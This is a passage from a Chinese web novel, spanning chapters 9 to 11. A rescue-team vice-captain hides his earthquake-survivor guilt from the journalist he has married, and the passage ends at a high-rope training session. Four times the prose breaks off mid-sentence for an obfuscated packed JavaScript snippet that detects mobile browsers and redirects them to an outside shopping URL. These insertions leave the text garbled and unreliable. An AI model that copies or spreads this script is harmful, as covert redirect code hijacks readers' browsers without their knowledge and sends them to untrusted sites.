当然要深度接触,毕竟是她的工具人,这也是外围调查的一部分。 不如就从报名他们救援队的志愿者开始吧。 马上要被坑的齐寻正在微光队部,洗他那辆被泥糊得看不出颜色的牧马人。 小熊跑过来叫他:“白蛇白蛇,纪队让你去他办公室一趟。” 进了救援队就会痛失本名,大家用的都是简单又好记的代号。别人要么就是“小熊”“加菲”这种憨态可掬的小动物,要么就是“柿子”“烤鸭”这种大家喜闻乐见的好吃的。 齐寻本来也用心取了代号,可一朝喝多,把自己花了十年找人的故事简略一讲,一觉起来,所有人都改叫他“白蛇”了。 白素贞嘛,这辈子就是来找许仙报恩的。 齐寻答应一声,把手里的水管塞进小熊手里,丝毫不顾他在背后“啊啊啊又我?!”径直进了行政楼。 推开办公室的门,果然见队长纪士诚坐在办公桌后,正面目纠结地对着电脑发愁。 见他进来,纪士诚搓了一把脸:“来了。” 齐寻伸手把他的电脑端到自己面前,眼神去捉表格最底下那一行核算的数字——红的,全红。 他们微光救援队,又一次财务赤字了。 齐寻没说什么,拿出手机,下一秒就被纪士诚按住:“不要你的钱。” “我要钱有什么用,我又不花。” 纪士诚喉头哽了哽:“爸妈的钱你自己好好存着,别什么窟窿都想堵……叫你来不是因为这个。” 纪士诚真就在为志愿者的问题焦头烂额。 救援队是民间自发组织,没工资没奖金,装备都得队员自己掏腰包,对出勤率还有要求,正式队员的流动性都极大,更遑论没有得到正式头衔的志愿者。 很多人一时上头,也想为救援事业贡献力量,但培训阶段就会劝退一大批,正式救援任务又会展示一把残酷的现实,到最后,能坚持下来的志愿者寥寥无几。 可志愿者又是正式队员最大的后备力量,不招又不行,所以纪士诚想了个损招:“白啊,要不今年咱拍个广告?” “拍过,没用。” “那是因为咱策略不对。” “什么策略?” 纪士诚笑得一脸憨厚:“你没脱衣服啊。” 齐寻无语之情溢于言表,连个眼神都懒得分给他。 纪士诚越说越觉得有戏:“你看隔壁消防,抖音发得飞起,咱比他们差哪儿了?” “差在队长没有腹肌。” 纪士诚哈哈笑着,一掌拍在他后背:“副队长有就行了呗……看这钢筋铁骨的,拍得我手疼。别处呢?我看看?” 邮件提示音叮咚一响,打断他对齐寻上下其手,纪士诚兴奋地过去看:“志愿者简历!还是商报的!” 听到“商报”两个字,齐寻眉心不由一跳:“商报?什么人?” 纪士诚字还没看,先“嚯”一声:“这么漂亮。” 齐寻拧着眉绕过去,看到屏幕的一瞬间,只觉得周围一静。 简历上贴的是证件照,黎叙闻挑着一双惑人的眼睛看向镜头,没什么亲和感,像两颗寒星,泠泠望着屏幕外的人。 他又记起那天下午,他在咖啡厅门口看见她慵懒地抬头,对他遥遥一望,那双被夕阳浸透的淡色眼底,像一块清澈见底的琥珀。 那个瞬间,他耳边响起了一声轻软的风铃声,代替了那一秒他的心跳。 而在这个狭窄的办公室里,那双眼睛,又一次叩响了初夏的风铃。 “正经的记者,”纪士诚在一边激动得搓手:“瞧人家这履历,多漂亮。” 齐寻收回视线,语气淡淡:“她不能来。” “为什么?” “没为什么。” 纪士诚从鼻子里哼了一声:“你是人家什么人,管这么宽?” “我跟她结婚了,今天上午。” 纪士诚眼睛险些掉出眼眶 他看看齐寻,又看看简历上的名字,视线在二者之间来回打了好几个圈:“她,她就是那个……” “对,”齐寻关掉她的简历:“她就是那个‘文文’。” 纪士诚哑然了将近半分钟,才磕巴地问:“你不是只记得那人的声音么……十年了,就凭一个声音,你就跟她,跟她结婚了?” 齐寻抬眼,盯着屏幕里那个明眸善睐的女人,答得笃定:“嗯,就凭一个声音。” “……你告诉她你是谁了吗?她还记得?” 齐寻望着那张照片看了一阵,才慢慢说:“告诉她什么?告诉她我就是那个为了她手里的一口水,故意说对面的求救声只是风声,让她不要去管的杀人凶手?” 办公室陷入了长长的、混乱的沉默。 半晌,纪士诚小心道:“……你也不是故意的吧,就不能是听错了吗?” 齐寻抬起头,眼神一片空洞:“我听见了。” 纪士诚舔了下嘴唇,用力地拍了下他肩膀,想说什么,却被一声叹息取代。 十年前锦城的暮春,白日残余的闷热化成微风,带来一片模糊得像雪花点一样的蝉鸣。 彼时齐寻十六岁,正在享受自己无忧无虑的周末。 “这个呢?”齐寻按下播放键,音响中传出树叶摇动的沙沙声:“你们猜这是什么树?” 父母的两颗脑袋恨不得怼进音响里,凝神屏息地听。 “槐树。”父亲笃定道。 “不是,是柳树。”母亲笑得像个少女:“有水声呢,没听见?” 齐寻眉开眼笑地按下暂停:“妈妈猜对了!” 母亲揉了把他的头发,起身去切水果,父亲瞅了一眼低头摆弄磁带的齐寻,试探道:“明天跟我去厂里看看?” “不去。”齐寻头也不抬,“我要当录音师,才不摆弄你那个破梳子。” “那是个啥?”父亲轻车熟路絮叨起来:“什么破梳子!等你以后——” “以后也送牛角梳给女朋友,也像你对我妈一样,把她的头发养得又黑又亮,是吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816601|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?”齐寻迅速接上:“说了多少遍了!烦死了!” 说完抱着录音机就往外跑,正好蹭过父亲飞来的一脚。 三两步奔到门口,妈妈从厨房跑出来:“身上还有钱吗?” 齐寻不耐烦,把她后半句“吃了瓜再去”轻飘飘地关在了身后。 他提溜着录音机,一溜烟跑下楼,没入了盛夏夜晚凉爽的背景音里。 今晚的蝉格外聒噪,一声盖着一声地叫喊,齐寻侧耳听了一阵子,忽然顿住脚步。 他耳朵动了动,从铺天盖地的虫鸣中,听见了一种从没听过的声响。 那声音在几秒钟里变了几回,先是像风过隧道时的呼啸,接着是一段令人牙酸耳胀的摩擦声。 最后所有声音音轨交叠,如同夏日滚雷一样轰隆作响,裹挟着一阵水腥气,向着锦城席卷而来。 很多年之后他才知道,那个声音是大地颤抖前的最后的警告。 他摸了摸耳朵,抱着录音机,转头往小区门口走。 下一刻,天塌地陷。 坚实的大地在他脚下疯狂摇动,齐寻根本没有挣扎的机会,第一时间被掀了个仰倒,后脑狠狠磕在路边的石台上。 他眼前一花,画面像跳帧了一样,近在眼前的废旧岗亭瞬间碎成砖头瓦砾,铺天盖地的灰色向他迎面砸来。 整个世界突然断电,陷入了无色无声的沉黑。 齐寻做了一个很长很长的梦。 在梦的最后,他留在原地,父母牵手结伴前行,在一片光里回头望他,眼里有他怎么也看不清的泪光。 他最后听见妈妈哽咽着对他说,寻寻,你以后要怎么办哦。 齐寻伸长胳膊要去拉妈妈的手,脚下却一趔趄,整个人忽然从梦里被狠狠抛出。 他头疼欲裂地睁开眼,眼前没有光亮,也没有一丝声音,只有血腥气和潮湿尘土的气味,满满地灌进他的鼻腔。 他花了好几分钟,才意识到发生了什么。 “有人吗?”他吸了太多烟尘,嗓子干哑得不成样子:“救命……” 没有回音。 他动了动身体,发现自己被圈在一个很小的空间里,一根长长的石料撑在他的身边,为他撑起了一小片栖身之所。 大臂处一片火辣辣的,他咬牙把手臂从身下抽出来,从口袋里掏出手机——屏幕已经碎了,上面冷冰冰地显示着时间,凌晨三点零八分。 外面可真安静,没有虫鸣,没有风,也没有每天楼下都会响起的、暖融的人声。 自他能分辨声音以来,从来没有遇见过这么安静的夜。 已经过去十个小时,父母都还在顶楼的家里…… 而家的方向,比他这里还要更寂静。 他们还活着吗? 又或者……那个梦就是父母在寂静中,向他做的最后告别。 齐寻嗓子被一阵泪意轰然冲破,哑着嗓子哭喊:“爸!妈妈!” 他的声音被封在塌陷的水泥碎块里,没有人回答。 不知喊了多久,他蜷缩在石板撑起的缝隙里,感觉周身越来越冷了,或许是气温在降低,又或许是他的身体正不断失血。 不知道爸爸妈妈走远了没有,他重新蜷缩进那一方小小的角落,心里想,他们会在前面等我吗。 他就这样一身尘污地睡去了。 几小时后,齐寻被他完全不敢相信的声音惊醒—— 脚步声在上面笃定地响起,一个清脆女声伴着金属的敲击声,就在他的头顶,不厌其烦地喊: “喂——有人吗?” 齐寻抬起头,发现面前的泥板凌乱地互相架搭勾连,在他的正前方,裂开了一条小小的罅隙。 那里有光,被挤得又薄又扁,但依然不屈不挠地照进这一方狭小天地,滚滚尘埃在这一丝丝光中奔涌。 清脆的金属敲击声穿透泥土、石板,击打在他胸口,像是穿越黑暗的雷鸣。 天亮了。 9. 第 9 章 求生的意志像沾了盐水的鞭子,一鞭抽醒了齐寻尚在迷糊的意识。 过去近二十个小时,他又受了伤,再没有水和救援,他一定会死在这里。 齐寻顾不上牵动伤口的疼,立刻用尽了全力喊:“这!这里!” 可他嗓子干哑得发不出一点声音,只能使尽全力,狠狠地将手里的瓦砾掷向那一块小小的罅隙。 当啷一声,石块在地上滚动回弹,没几下就被障碍挡住。 但是脚步声停下了。 没有几秒,那个声音果然靠近了,试探着问:“有人吗?底下有人吗?” 齐寻用气声回答:“有!有人!” 那块光忽然暗下来,似乎是被什么人的身影挡住了。 女孩蹲下来看了半天,“呀”了一声,那一小片光随着她起身的动作,又照进来:“你等着,我去叫人——” “不要去!”齐寻忽然爆发出一声大吼,喉咙撕裂一样疼:“求你,不要去……” 这种天灾里,遍地废墟,受困地点极难辨认,如果到时候他又昏死过去,就真的没希望了。 女孩想了想,又蹲下来:“你渴吗?” 齐寻口腔黏膜已经干得像玻璃纸,张嘴都得费力气撕开:“有水吗?” 光影变动了几瞬,齐寻喉头咽动,眼睛里只有那个罅隙,其余什么都看不见。 这时候,就在他身侧,忽然响起一声很细微的声音。 那声音响了两次,但都转瞬即逝,像风抚过狭小洞口吹出的声音,又像是…… 女孩的动作蓦地停下来:“你有没有听到什么声音?” 齐寻一动不动地盯着洞口,盯得意识模糊,连头脑中某个残忍的念头,他都任它掠过:“是风吧……” 女孩哦了声:“我顺着这里给你倒进去,你接着点。” 一泓清泉顺着裂隙缓缓滴下来,齐寻来不及用手去接,挣扎着扬起脖颈,把嘴对准混着沙石和灰尘的缝隙,一滴滴抿着混着土腥味的水,生怕浪费一点。 一瓶水本就所剩无几,顷刻之间就全部倒完。 齐寻喝了一嘴的泥灰,但就这几口,救了他的命。 “你叫什么?”她率先问。 “齐寻。” “我叫文文。” 最初的肾上腺素带来的爆发和紧张渐渐松缓,身体各处持续的失血让齐寻思绪渐渐开始模糊。 他口吃含糊地应着:“文文……” 女孩突然问:“你说话都没有力气,是不是饿了?” 他“嗯”了一声,实在没有什么力气再回话。 女孩不知转身去做什么,几声坚硬的“邦邦”声传来,接着一个紫色的长条包装袋,扁扁地、慢慢地,从他头顶上的罅隙塞进来,最后啪地一声,掉在了他的手上。 一袋被砸扁了的巧克力球。 现在是巧克力饼了。 齐寻立刻醒了。 上高中之后他开始不爱吃甜食,上次被妈妈硬塞了一块在嘴里,甜得他呸呸呸吐了好久。 齐寻抽了下鼻子,哑着嗓子:“一人一半吧。” 女孩咯咯地笑:“我有点胖胖的,很多脂肪,不用吃东西。”她顿了顿,不甘心地补充:“是好看的那种胖。” 齐寻没忍住,也被她逗笑了。 “你快吃,吃了就会好了,我来的路上看到消防和救援队了,他们一定会来的。” 他小心地撕开包装,只舍得用牙齿轻轻磕下一点,巧克力浓郁的甜香在他舌尖瞬间漫开。 “嗯,”他含着这一点得来不易的甜:“他们一定会来。” 直到裂隙中的光越来越淡,直至再次变成漆黑,他们等的人依然没有来。 但女孩也仍然没有走。 齐寻的精神也随着天光越来越黯淡,强撑着袭来的睡意,他不知道自己到底是困,还是已经到了强弩之末,睡了就再也醒不过来了。 文文絮絮叨叨一直说到后半夜,齐寻梦里都有一个看不清脸的哑哑的姑娘在他耳边喊:“我以后也要像我爸爸那样,去当记者……喂,你睡着了吗?别睡啊你醒醒!” 他捂着耳朵想躲,身子一拧,肩膀一阵钻心地疼。 他睁开眼睛,才发现天已经亮了,他仍被困在废墟下面,而那个一直叫他醒醒的声音并不是他梦里的幻觉。 “齐寻?”她听起来已经急了,拿金属棍不停敲他头顶上的石料,震得他一脑袋灰:“齐寻!你别死啊!” 齐寻慢慢睁开眼睛,极轻地“嗯”了一声。 实际上他已经有些听不懂她的话了,因为大脑活动需要大量的热量,而他的思绪由于失血和饥饿,基本已经停摆。 这时候,忽然有一个男人的声音,在上方很远的地方响起。 齐寻甚至一瞬间没反应过来,在他确认了外面真的有第三个人的时候,心脏几乎蹦到了嗓子眼。 “哎——那个女娃,你在这做啥?你家里人呢?” 一阵奔跑的脚步声,齐寻听见她语无伦次地跟对方说下面还有活人,埋了很久,眼看人要不行了。 对方一听下面有人,不敢耽搁,确认了位置,飞快地说:“大本营现在根本没有闲着的人,这样,我回去找人来,小伙子,你再坚持一下!” 齐寻嘶哑道:“我家里人,家里人还在后面的楼房里……” 男人抬头望向前方一眼望不到头的废墟。 他沉默了很久,才说:“好,好,我叫他们带上探测仪来。”又对女孩说:“你也别在这里了,跟我回大本营,要是余震来了你就危险了!” 这句话落进齐寻耳朵里,他下意识地紧紧抓住了身边凸起的一段碎墙。 上面静默了有一个世纪那么长,才终于又听到文文说话:“大叔你也说了,大家都腾不出手来,万一你也去忙了,他怎么办?” “咋可能,一条人命哩,”男人说:“你一个女娃娃,在这能帮上啥忙?” “他只有一个人,如果大家觉得一群人比一个人更值得救,那怎么办? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816602|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”女孩说得掷地有声:“我爸说,认定了对的事,就一定要坚持到底。我就在这等着,哪也不去。” 男人的声音陡然变小,似乎转身离开了:“你这娃娃……你告诉我你爸……我去……” 文文的脚步声踩着他的,跟上去求情:“我爸……记者……叫……你……” 她语速很快,齐寻慌乱的呼吸声盖过了她遥远的话音,绝大部分对话都飘散在了风里。 他只模模糊糊知道,她好像要为了他,留下来。 男人急匆匆走了,剩下他们两个,还是隔着横七竖八的石板,相闻不相见。 “你放心,我爸爸肯定会来找我的,”女孩说:“我爸爸最爱我。” 齐寻鼻子酸胀着,想,我爸爸也很爱我。 为什么要对他不耐烦,为什么没有答应他去厂子看看,这样起码他会高兴。 他蜷缩起来,抱着自己的膝盖,忽然想发疯一样地大哭,可最后,一切也只能归于一双干涩的眼,和一声不甚明显的呜咽。 这场等待一直持续到他们都没有力气再多说一句话,远处由断裂混凝土堆出的地平线上,才终于出现了救援队的影子。 救援队制定了救援方案,操作一起开来的吊升工程车,轰隆作响,准备给受困者开出一条通路。 上方石料被一层一层吊起,每听到一次吊钩的声音靠近再远去,齐寻就觉得头顶上轻了一分,呼吸也敢放肆地更深一点。 工程车刚工作了十分钟,齐寻只听见文文尖叫了一声,紧接着响起救援队员的声音:“发现伤者!医疗队!” 脚步声纷至沓来,有人焦躁的话语夹杂在一片混乱中:“小姑娘,别看了……人可能不行了。” 他听见文文大哭:“我明明听见那边有人……我明明……” 齐寻心跳一滞,背后蓦地爬上一阵森冷的寒意! 他这才有余力去回想,他求文文给点水喝的时候,那个声音到底是什么。 风吹过洞口的声音不是那样的,他从来都知道。 那是强弩之末的人在微弱地呻.吟。 但在那一刻,他在一片油尽灯枯的昏昧里,有意或是无意,竟把这两个完全不相似的声音混为一谈,并信誓旦旦地说,是风。 没错,是风,它必须是风,如果它是什么别的,那么死掉的,就会是我了。 “可惜了……”是救援队员的声音。 齐寻痛苦地闭上眼睛。 吊车依然在他头顶轰鸣,一线细细的夕阳透过罅隙,暗暗地望着他。 耳边是愈来愈近的轰隆声,和众人为了他一条脆弱的、甚至不堪的生命,拼上全力的嘶吼。 他蜷在地下,心里悄悄做了一个决定。 出去之后,要先当面谢谢文文,再…… 后半个念头甚至没来得及完全浮现,上方忽然响起毁天灭地似的一声轰鸣,那一线细痩的落日猛地一沉,沉重石块毫无征兆地向他压下来。 世界再次陷入一片虚无的漆黑。 10. 第 10 章 齐寻再醒来,是被鼻尖浓重的汽油和血腥味熏醒的。 听觉紧跟着苏醒,他听见靴子声和趿拉板响成一片,玻璃瓶相碰稀里哗啦的响动,有人在呼喝,嘶哑焦急。 他身体还僵硬地挺着,左腿先抽搐般地一抖,然后令他始料未及的疼痛天崩地裂般吞没了他。 他抬起半身去看,自己左腿打了夹板,上半身挎着肋骨带,肩膀后侧贴着厚厚的纱布,浑身上下就没有一块肉是好的。 齐寻力竭地躺回去,麻木地转头,看向窗外。 军用帐篷外,昔日家园已经变成横七竖八的瓦砾断壁,青灰色的残垣在阳光下,是一片荒无人烟的沉沉死气。楼房内里黑亮的钢筋呲出来,像一根根刺出肢体的断骨,直直指向天际。 有多少人的生命就此陨灭了,又带走了多少人曾经幸福的可能。 齐寻在床上躺了一个星期,刚可以下床,他就开始跟每一个他遇见的人打听,有没有一个叫文文的女孩,大概十六七岁,有一点胖,是好看的那种胖,声音很好听。 在震区,每天找人的没有一千也有八百,多得是拿着照片和视频都找不到亲人的人,他这样的找法,除了收获大家惋惜的眼神和茫然的表情,自然一无所获。 对,他还记得她的声音。 那声音如此鲜活生动,他有把握,即使过去十年、二十年,他一定也会记得。 虽然没有见过她的样子,不知道她的名字,但只要在茫茫人海中听她说一句话,他就一定能认出她来。 过往死去,来日茫茫,可就是在那个瞬间,齐寻找到了自己要活下去的理由—— 找到她,然后守着她,再也不离开。 这份信念如同一道护身符,支撑了他十年,一直跟着他走到今天。 所以好不容易才找到的人,齐寻更不能通过她的简历,让她加入救援队。 在微光将近八年,他太知道救援队承担的都是什么风险。 他亲眼看到过队友在救援中被指责、被误解、受伤、甚至失去生命。 他发过誓,只要找到她,就要护她一生平安。 纪士诚长叹一声:“白啊……你,你这……” 齐寻默然一阵,忽然道:“如果她自愿退出,是不是就没问题了?” “……你自己去劝吧。”纪士诚揉了揉太阳穴,忽然话锋一转:“既然结婚了,你的铭牌是不是可以重做了?” 微光救援队效仿军队制式,给每个队员定制了铭牌,上面刻着队员的基本信息,血型、药物过敏史,还有紧急联系人。 齐寻的铭牌跟其他人的不一样,他的没有紧急联系人这一项。 “没有必要。”齐寻转身出门:“把她的简历转给我。” 华灯初上时,黎叙闻终于结束工作,有闲情在客厅窗前发一会儿呆。 明黄灯带在她脚下蜿蜒流淌,像沉进海底的一簇星星。 她目光逡巡在星河中,琢磨着什么时候约线人出来见上一面。 到时候齐寻也得在吧,要怎么介绍他呢,说他是自己的一个朋友,还是直接说,他是自己的丈夫? 这两个字有如实质地烫了她一瞬,心口跟着奇妙地跳了一拍。 手机响,她蓦然回神,拿过手机一看,“结婚搭子”四个字跃然在屏幕上。 她无声笑笑,接起来:“什么事?” 齐寻那边有轻缓低沉的音乐流进她的耳朵:“你给微光投了志愿者简历?” “嗯,怎么了?” “你报社工作应该很忙,”齐寻问:“为什么要投?别告诉我你高风亮节,想为救援事业做贡献。” 黎叙闻轻轻笑了一声,特意把话筒贴到唇边:“因为我高风亮节,想为救援事业做贡献。” “……不要拿这种事情开玩笑。” “我为什么不能去?”黎叙闻闲闲地靠在窗棂前:“是我简历不够漂亮?” “你不适合。” 巧了,黎叙闻这辈子最大的逆鳞,就是这句“你不适合”。 她眯起眼睛,滋滋电流都顺着她冷硬的口吻结了冰:“给我一个我不能胜任的理由。” 冰碴掉进齐寻耳朵里,冰冰凉凉地化成一滩水。 他无声深吸一次,把简历打开,一条一条念:“毕业于银石湖大学,新闻学硕士——优秀,但我们微光庙小, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816603|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 请不起你这尊大佛;学过两年散打——救援不是当保镖,散打没有用;多年心理学研究经验——这靠谱点,但你没有官方认证资历,不作数;社区服务、报道专业记者——救援队有宣传固然好,但耽误了你的工作,我们担待不起。还需要更多理由吗?” 一句一句跟鞭子似地抽在她耳边,她越听越气,盛怒之下忽然爆喝:“……齐寻!” 那一端沉默下来,蓝调音乐和他呼吸声的间隙,有很轻的吞咽声掠过,像是他吞下了什么呼之欲出的解释。 “救援队很苦,也不是你拿来刷履历、来观光的地方。”他停顿了几秒,声音柔和了些:“除了这个,你还有什么要求,我都可以答应你。” 黎叙闻气笑:“你是觉得我吃不了苦?” 齐寻站在家里的二楼,就着对面一家三口其乐融融的晚餐画面,咽下了最后一口凉透了的便当。 他眉目稍松,避过她的锋芒:“为什么会去学散打?” 黎叙闻笑着,声音冷硬:“因为教练长得帅。” 听筒对面传来一声长长的、耐着性子的呼吸。 这段沉默像有形状似地,她都能想象现在对面的人是什么表情——肯定是咬牙切齿,眉眼锋锐地蹙在一起,因为想教训的人不在眼前,他大概会冷冷地隔空瞪她一眼。 “该说的我都说了,”齐寻嗓子都让她气哑了:“你还有什么问题?” “有一个。” “说。” “你说我是去宣传组合适,还是去医疗队?”她弯起眼睛,志在必得:“毕竟我的包扎技术,比某个副队长还要强上许多。” 那边微妙地静默了一瞬,连背景音乐都非常懂事地停在了间歇。 又一阵沉默后,对面啪嗒一声收了线。 夜里九点,微光预备群里,忽然跳出副队长艾特全体的信息: 明天早上九点,所有人统一乘车去郊区进行高空滑索训练,新进志愿者不允许缺席,收到回复。 黎叙闻挑着眉头读了一遍,一眼就看穿了他的用意。 她嗤笑一声,托着腮一字一句地回了消息。 叙我所闻:是,副队长。 11. 第 11 章 第二天一早,齐寻带着志愿者和预备队,顶着阳光和闷热暑气,抵达了京屿郊外山间的一处峡谷。 新队员们身着制服,头戴微光救援队的头盔,在郊区的高空集训点站成两排。 每个人脸上的紧张都在湿热的空气里升温膨胀,几乎要压抑不住。 包括从来不服输的黎叙闻。 她把长发束成马尾,头盔沉甸甸地压着眉眼,一身深蓝制服在她身上略显宽大,战术腰带在腰际勒得很紧,好像这样就有了底气似的。 齐寻的目光在她紧抿得唇角处转了两秒,很快挪开视线,开始训前动员:“绳索救援对个人技术和团队配合能力都要求级高,训练的重中之重。今天我的主要任务是适应高度、克服恐惧。” 他居高临下扫了一眼黎叙闻紧张得发亮的眼睛:“不要觉得你们不进行动组,高空救援就跟你们没关系。今天所有人,力求独立过关!有没有信心!” “有!” 在这一声气壮山河的“有”里,黎叙闻身边新入队的小伙子偷偷低头,在她耳边讲:“都说副队长最不近人情,你别害怕,一会儿我先给你打个样。” 黎叙闻笑了一声,硬邦邦道:“谢谢啊。” 小伙子嘿嘿一笑:“不客气,以后你要是害怕,我都可以……” 话说一半,忽然感觉周围安静得不正常。 齐队长不知什么时候停了训话,正沉着脸,目光冷冽地朝他们看,连带着其他队员都莫名地扭头看他们 小伙子缩了缩脖子,低下头不吭声了,倒是黎叙闻,瞟了齐寻一眼,面不改色地目视前方。 她早知道这一出是唱给她听的,懒得在嘴上跟他争高下。 齐寻先示范救生抛投器,拉紧横渡、牵引、下放的5根绳索,拿了一套装备,转身问看得云里雾里的新队员:“高空绳桥横渡,谁先来?” 第一排一个后勤处的姑娘,怯生生举手发问:“队、队长,不示范一下吗?” 齐寻笑了一声:“视频不都看过吗?我滑过去,你们看得见?” 看肯定是看不见的,但他们需要一个大活人,在他们面前完成这人猿泰山一样的操作,好让他们在理智上劝服自己,这确实是人类能做到的动作。 众人纷纷垂首,留下余光在四周乱瞟,活像课堂上老师说“找个同学上黑板来做这道题”时的紧张氛围。 刚刚的年轻男人向前一步出列,恰好挡住黎叙闻:“队长,我、我先来吧。” 黎叙闻心里冷笑:他能同意才怪。 果然,齐寻对他掸了掸手指:“让开。” 小伙子不明所以,向旁边稍稍退开一步,身侧露出黎叙闻半张冷脸。 齐寻从人缝里对她一抬下巴:“你,叫什么名字?” 黎叙闻在心里翻个白眼,拨开挡在身前的人,唇角一挑:“志愿者,黎叙闻。” 队里有救援行动组的队员,大概是看她是个姑娘,纷纷道:“队长,要不我们行动组先……” 齐寻毫不理会,举起装备,冲她一摆头:“过来。” 黎叙闻从鼻腔里轻轻哼了一声,在众人目瞪口噤的怪异氛围中,走到齐寻旁边。 她冲他展开双臂,等着他给穿装备,目光挑衅:“麻烦了,齐,副队长。” 齐寻垂目跟她对视一眼,面无表情给她套好上身的安全吊带。 再往下,他动作却忽然停住,手僵在半空不上不下。 黎叙闻看着搭在她臀部的腰扣和腿扣,轻轻笑了一声,用只有两人听得见的气声玩味道:“怎么了队长?怎么不穿了?” “自己穿。” 黎叙闻眯着眼,动也不动:“我不会。” 齐寻深吸一口气蹲下,手指擦着她腰部制服的硬挺布料一滑而过,迅速扣好腰部搭扣,从后方拽过一个腿环,又不动了。 黎叙闻也不说话,带笑的视线停在他黑亮的发顶。 好几秒,齐寻含糊的声音才从下方传来:“……腿分开。” 黎叙闻没忍住,噗一下笑出声,在齐寻抬头怒视她之前,把右脚向旁边稍稍打开了一点点。 齐寻受够了她的挑衅,动作利落地给她穿好装备,站起身,又检查一遍安全带,轻轻将她向前一推:“控制速度和保持平衡的技巧视频里都讲过。去吧。” 黎叙闻敛起笑容,往前走了两步,回头看齐寻。 齐寻抱着臂站在她身边,依然没什么表情:“不要怕,对面有人接你。这套装备承重两个男人都绰绰有余,你身上的安全绳比正式救援还多一条,能保证你的安全。” 黎叙闻咬牙,这是多一根绳子的事吗! 此处两座山崖之间相距60米,距地面将近一百米,这个高度就算坐缆车也会目眩,何况她现在四周空空荡荡,所能倚仗的只有几条绳子而已。 可真正分秒必争的救援时,队员们能依靠的,就真只有这么几条绳子。 她闭上眼,深吸一口气,再睁开眼,脸上的表情跟视死如归的烈士一样,迈步就往前走。 她腿间的布料因为颤抖而磨出不安的声响,脚下运动鞋踩着岩石,咯吱咯吱,听得人心烦。 齐寻捏了捏眼角:“等一下。” 黎叙闻猛地站住。 她使劲眨了眨眼,眼底水汽迅速蒸干,转头若无其事地问:“怎么了?” 她看不见自己因为紧张而煞白的脸和嘴唇,可齐寻看见了。 因为距离近,她额角镀上的一层薄汗在阳光下,像星辰一样闪进他的眼睛。 齐寻默然地望了她几秒,忽然低头,开始给自己穿装备。 黎叙闻一愣:“你做什么?” 齐寻头也不抬:“带你走一趟。” 黎叙闻浮浮沉沉飘在悬崖间的心脏,忽然沉甸甸地落了地。 她咬着下唇,硬是把嘴硬的逞强咽了回去。 齐寻又说了什么她没听见,只是有一个温热坚实的胸膛贴上她的后背。 他沉稳的声音擦着她的耳廓低低响起:“抓好绳子,放松身体,掉下去有我给你垫背。” 黎叙闻扭头:“谁要你垫……” “背”字还没出口,她只感觉身体忽然一轻,然后脚下猛地失去了支撑! 她双手本能地攥紧绳索,身体紧绷也无法对抗恐怖的失重感,她硬生生忍下一声尖叫,紧紧闭上了眼睛 身体不受控制地沿着绳桥向前加速,山风在耳边轻灵地吹过,额间和后颈的冷汗让风一吹,凉得她直哆嗦。 这时候,有人扶住她战栗不已的肩膀,在她耳边轻声道:“闻闻,睁眼。” 黎叙闻闭着眼睛大叫:“齐寻我再信你我就是狗!” 齐寻笑,笑意和温热呼吸一同钻进她的耳廓:“你刚可是把命都交给我了,现在说不信我,不觉得太晚了么?” 黎叙闻长叹一声,心说也是,于是认命地、慢慢地挣开了眼睛。 那个瞬间,她听见自己始终鼓噪的心跳,蓦地停顿了一秒。 脚下是绿意绵延起伏的森林,在白日煊赫的阳光下蒸腾出一片茫茫的水色雾气,飞鸟低低地擦过她的身侧,翅羽划过一道细细的风,在温和的山风里,一齐托着她耳际的碎发,欢悦地飘荡。 她重重叹了一声。 齐寻手心里紧绷的肩膀瞬间放松,他无声地笑了笑,问:“还怕吗?” 黎叙闻一整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16816604|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 颗心翱翔在风里,几欲落泪:“不怕了。” “玩够了就回去吧,”齐寻道:“你也看见了,这里不适合你。” 黎叙闻闭上眼睛,任裹着水汽的山岚钻进她的呼吸,有一整个陌生的世界,正在她的心里慢慢破壳。 她轻声问:“齐寻,你怕过吗?” 齐寻一顿,身体不由地绷紧,绳索因为受力,而轻轻地晃了晃。 